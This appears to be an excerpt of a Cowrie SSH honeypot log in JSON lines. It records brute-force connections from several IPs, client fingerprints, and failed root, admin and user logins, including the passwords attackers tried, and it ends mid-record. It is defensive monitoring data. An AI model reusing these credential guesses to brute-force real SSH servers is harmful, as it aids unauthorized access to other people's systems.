{"eventid":"cowrie.login.failed","username":"admin","password":"481516","message":"login attempt [admin/481516] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:56.910211Z","src_ip":"2.57.121.112","session":"f0f8695e4165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4578","message":"login attempt [admin/4578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:58.019496Z","src_ip":"2.57.121.112","session":"f0f8695e4165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.182.109","src_port":56722,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5a7498352f8","protocol":"ssh","message":"New connection: 107.6.182.109:56722 (10.17.0.5:22) [session: a5a7498352f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:58.751358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:58.756480Z","src_ip":"107.6.182.109","session":"a5a7498352f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:58.846964Z","src_ip":"107.6.182.109","session":"a5a7498352f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:59.128722Z","src_ip":"2.57.121.112","session":"f0f8695e4165","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:0d:fa:d8:24:4d:bc:3b:a7:b6:3b:33:e7:c2:2e:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEsYSOMiJ5JsSLwwO4LaAQklClGIEMk6rBjOomc4t7TuSBl7FhYa8Jz+0rSo5MsksiDCX9zaSJIneXEt8G9NYKg+7IhC+VoXAQTeZrAzdjqMrbE4jXQM4C5x9gJq5C301umOKqE8S03iiKTv9PgPOfRpPi/n8GJBC9w4JUSIwR4LvBj9N7k8RNYDxgtgUeOvD+mGzmr972P/7G/LKzFl+g0JRO6RfL8MGQcp9+Gs/Oquy5jFatFyVbswdz3PhbDG8B477L/ehKjmzY37AXIUsb7UsA2R1s1+s/82cELUHZuZ+qk5NuqVq4hao5qhsF3wV+ZI74SfNdwd0kq68G74yH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:0d:fa:d8:24:4d:bc:3b:a7:b6:3b:33:e7:c2:2e:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:59.257538Z","src_ip":"107.6.182.109","session":"a5a7498352f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:0d:fa:d8:24:4d:bc:3b:a7:b6:3b:33:e7:c2:2e:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEsYSOMiJ5JsSLwwO4LaAQklClGIEMk6rBjOomc4t7TuSBl7FhYa8Jz+0rSo5MsksiDCX9zaSJIneXEt8G9NYKg+7IhC+VoXAQTeZrAzdjqMrbE4jXQM4C5x9gJq5C301umOKqE8S03iiKTv9PgPOfRpPi/n8GJBC9w4JUSIwR4LvBj9N7k8RNYDxgtgUeOvD+mGzmr972P/7G/LKzFl+g0JRO6RfL8MGQcp9+Gs/Oquy5jFatFyVbswdz3PhbDG8B477L/ehKjmzY37AXIUsb7UsA2R1s1+s/82cELUHZuZ+qk5NuqVq4hao5qhsF3wV+ZI74SfNdwd0kq68G74yH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:59.264447Z","src_ip":"107.6.182.109","session":"a5a7498352f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:a2:b5:99:e7:35:70:c2:2b:ef:73:2f:5f:fc:d1:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCghFup1YQluD512fbwyjvV3WPOWnL5Grtdj+uU9fndnNTRbwRwwHtrzSC7H1qJEghjoYxBHV7VWy3N/jY+Mj82xt7qyDTRn5IHLQnM0V7yfP7bSNCjbVWdoSiOH6HsPmnatlGThgA3W4fdwJFdp8a6g18iakZOBuD41rBYjzUZcg97T8wem0tMcA6jJPhksfMYhmttIN41VUe5VyPcAfBYyrE9SGJjRHQlwmjWrlkXljbmfsYAeNfBOoaGwIaA3VuHJAgQ1Bq3tH4ZplmP5hOFFToEAajeyX/42gWBd3TouTjssgGF0y7yAy1F0oZ/q2qm3JKsUMxXxIgRGOB820rf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:a2:b5:99:e7:35:70:c2:2b:ef:73:2f:5f:fc:d1:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:59.351350Z","src_ip":"107.6.182.109","session":"a5a7498352f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:a2:b5:99:e7:35:70:c2:2b:ef:73:2f:5f:fc:d1:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCghFup1YQluD512fbwyjvV3WPOWnL5Grtdj+uU9fndnNTRbwRwwHtrzSC7H1qJEghjoYxBHV7VWy3N/jY+Mj82xt7qyDTRn5IHLQnM0V7yfP7bSNCjbVWdoSiOH6HsPmnatlGThgA3W4fdwJFdp8a6g18iakZOBuD41rBYjzUZcg97T8wem0tMcA6jJPhksfMYhmttIN41VUe5VyPcAfBYyrE9SGJjRHQlwmjWrlkXljbmfsYAeNfBOoaGwIaA3VuHJAgQ1Bq3tH4ZplmP5hOFFToEAajeyX/42gWBd3TouTjssgGF0y7yAy1F0oZ/q2qm3JKsUMxXxIgRGOB820rf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:59.356097Z","src_ip":"107.6.182.109","session":"a5a7498352f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:a8:a8:3a:7b:60:96:ba:68:72:67:ef:2f:46:95:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6nop2GyJWTR6845ApI8rGPLKE63vRdrScHBUZqduU4VMHVd9wB9n/9JoFWDVRB/Kx1YkzQZOYy4oW7MthgxjWx6y+lw2zN1PM/PEMMxU4MgF/bUL5Si+6ElTcoS/XE6ldjB/RSXth9P3kJN1SIr//Bqxf1wBR/TiIbjIZ4NRWBq05UOpq67JE9yYIYAvmUckpKeDrOJsgDOOBYNIM1yFe75G/D+GSMD5qAXp/dSBp4wpbiYUO9HQ5KsyGa4dFZJ/xOCcx2fLV7BdRk8LMiWuDkoUSYIy/y1RI7WAxDaJgTQaEfaiPzZELU1nilgzhrT19XKbN/KfOcOPkQgWpjvstQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:a8:a8:3a:7b:60:96:ba:68:72:67:ef:2f:46:95:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:59.445137Z","src_ip":"107.6.182.109","session":"a5a7498352f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:a8:a8:3a:7b:60:96:ba:68:72:67:ef:2f:46:95:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6nop2GyJWTR6845ApI8rGPLKE63vRdrScHBUZqduU4VMHVd9wB9n/9JoFWDVRB/Kx1YkzQZOYy4oW7MthgxjWx6y+lw2zN1PM/PEMMxU4MgF/bUL5Si+6ElTcoS/XE6ldjB/RSXth9P3kJN1SIr//Bqxf1wBR/TiIbjIZ4NRWBq05UOpq67JE9yYIYAvmUckpKeDrOJsgDOOBYNIM1yFe75G/D+GSMD5qAXp/dSBp4wpbiYUO9HQ5KsyGa4dFZJ/xOCcx2fLV7BdRk8LMiWuDkoUSYIy/y1RI7WAxDaJgTQaEfaiPzZELU1nilgzhrT19XKbN/KfOcOPkQgWpjvstQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:59.448599Z","src_ip":"107.6.182.109","session":"a5a7498352f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:0d:f7:1c:54:72:95:0b:aa:cb:e3:a3:70:79:2a:a1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPDLo7KSSahm2SPJmStybsE6QJ3CDn1qUwuhN3pjyk/6","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d3:0d:f7:1c:54:72:95:0b:aa:cb:e3:a3:70:79:2a:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:59.536449Z","src_ip":"107.6.182.109","session":"a5a7498352f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:0d:f7:1c:54:72:95:0b:aa:cb:e3:a3:70:79:2a:a1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPDLo7KSSahm2SPJmStybsE6QJ3CDn1qUwuhN3pjyk/6","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:59.539979Z","src_ip":"107.6.182.109","session":"a5a7498352f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:e5:55:38:96:44:5f:47:03:8d:68:7a:d7:fe:fb:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6nRJJoFBjmnljZRkSAtDa/0XgbknRakIUNSGKGieA9oLV5WkpeFu2UOtOOF0R4pGQYJgjMsv8ri7BmOt4aO2qgO+miiyO7nyWfO35aQGbTez6uYm4SFq2exB/uvdGD0R+jMWP1T0MnS0EOetTcdcmd6KrQJf6zHdiv9Ut8y4kulxmvdG1n+788n992CIlyagvnRi+pg957e6sO2L5J9TJOulSs4u0iblICQRgSgb93I4WhMDURbfWFeyiromluY9KDz5OSvs25oMxeGuuZNNDjuIfQl49NHsWkIKwYG0LFFrCi5c0EyKiis9gueJ4NpBP0T5Eun6/PymKDd81/1pV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:e5:55:38:96:44:5f:47:03:8d:68:7a:d7:fe:fb:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:59.628049Z","src_ip":"107.6.182.109","session":"a5a7498352f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:e5:55:38:96:44:5f:47:03:8d:68:7a:d7:fe:fb:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6nRJJoFBjmnljZRkSAtDa/0XgbknRakIUNSGKGieA9oLV5WkpeFu2UOtOOF0R4pGQYJgjMsv8ri7BmOt4aO2qgO+miiyO7nyWfO35aQGbTez6uYm4SFq2exB/uvdGD0R+jMWP1T0MnS0EOetTcdcmd6KrQJf6zHdiv9Ut8y4kulxmvdG1n+788n992CIlyagvnRi+pg957e6sO2L5J9TJOulSs4u0iblICQRgSgb93I4WhMDURbfWFeyiromluY9KDz5OSvs25oMxeGuuZNNDjuIfQl49NHsWkIKwYG0LFFrCi5c0EyKiis9gueJ4NpBP0T5Eun6/PymKDd81/1pV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:59.632381Z","src_ip":"107.6.182.109","session":"a5a7498352f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:59.723818Z","src_ip":"107.6.182.109","session":"a5a7498352f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":33608,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a84a58542cb","protocol":"ssh","message":"New connection: 103.27.238.120:33608 (159.203.135.109:22) [session: 9a84a58542cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:03.312781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:03.318591Z","src_ip":"103.27.238.120","session":"9a84a58542cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:03.587784Z","src_ip":"103.27.238.120","session":"9a84a58542cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parkour","message":"login attempt [root/parkour] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:04.381713Z","src_ip":"103.27.238.120","session":"9a84a58542cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:05.649627Z","src_ip":"103.27.238.120","session":"9a84a58542cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":44742,"dst_ip":"159.203.135.109","dst_port":22,"session":"c83eaea52316","protocol":"ssh","message":"New connection: 37.233.85.71:44742 (159.203.135.109:22) [session: c83eaea52316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:09.965394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:09.970222Z","src_ip":"37.233.85.71","session":"c83eaea52316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:10.076306Z","src_ip":"37.233.85.71","session":"c83eaea52316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gladiator","message":"login attempt [root/gladiator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:10.413404Z","src_ip":"37.233.85.71","session":"c83eaea52316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:11.522089Z","src_ip":"37.233.85.71","session":"c83eaea52316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":32820,"dst_ip":"10.17.0.5","dst_port":22,"session":"87f9bb8b635c","protocol":"ssh","message":"New connection: 2.57.121.25:32820 (10.17.0.5:22) [session: 87f9bb8b635c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:32.445809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:32.450599Z","src_ip":"2.57.121.25","session":"87f9bb8b635c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:32.555036Z","src_ip":"2.57.121.25","session":"87f9bb8b635c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18011980","message":"login attempt [user/18011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:33.043104Z","src_ip":"2.57.121.25","session":"87f9bb8b635c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1801","message":"login attempt [user/1801] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:34.150345Z","src_ip":"2.57.121.25","session":"87f9bb8b635c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17121989","message":"login attempt [user/17121989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:35.258959Z","src_ip":"2.57.121.25","session":"87f9bb8b635c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17121975","message":"login attempt [user/17121975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:36.366743Z","src_ip":"2.57.121.25","session":"87f9bb8b635c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"171185","message":"login attempt [user/171185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:37.474492Z","src_ip":"2.57.121.25","session":"87f9bb8b635c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:38.581256Z","src_ip":"2.57.121.25","session":"87f9bb8b635c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.250.239.241","src_port":57798,"dst_ip":"10.17.0.5","dst_port":22,"session":"e63301d91abb","protocol":"ssh","message":"New connection: 192.250.239.241:57798 (10.17.0.5:22) [session: e63301d91abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:43.252710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:43.260980Z","src_ip":"192.250.239.241","session":"e63301d91abb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","ae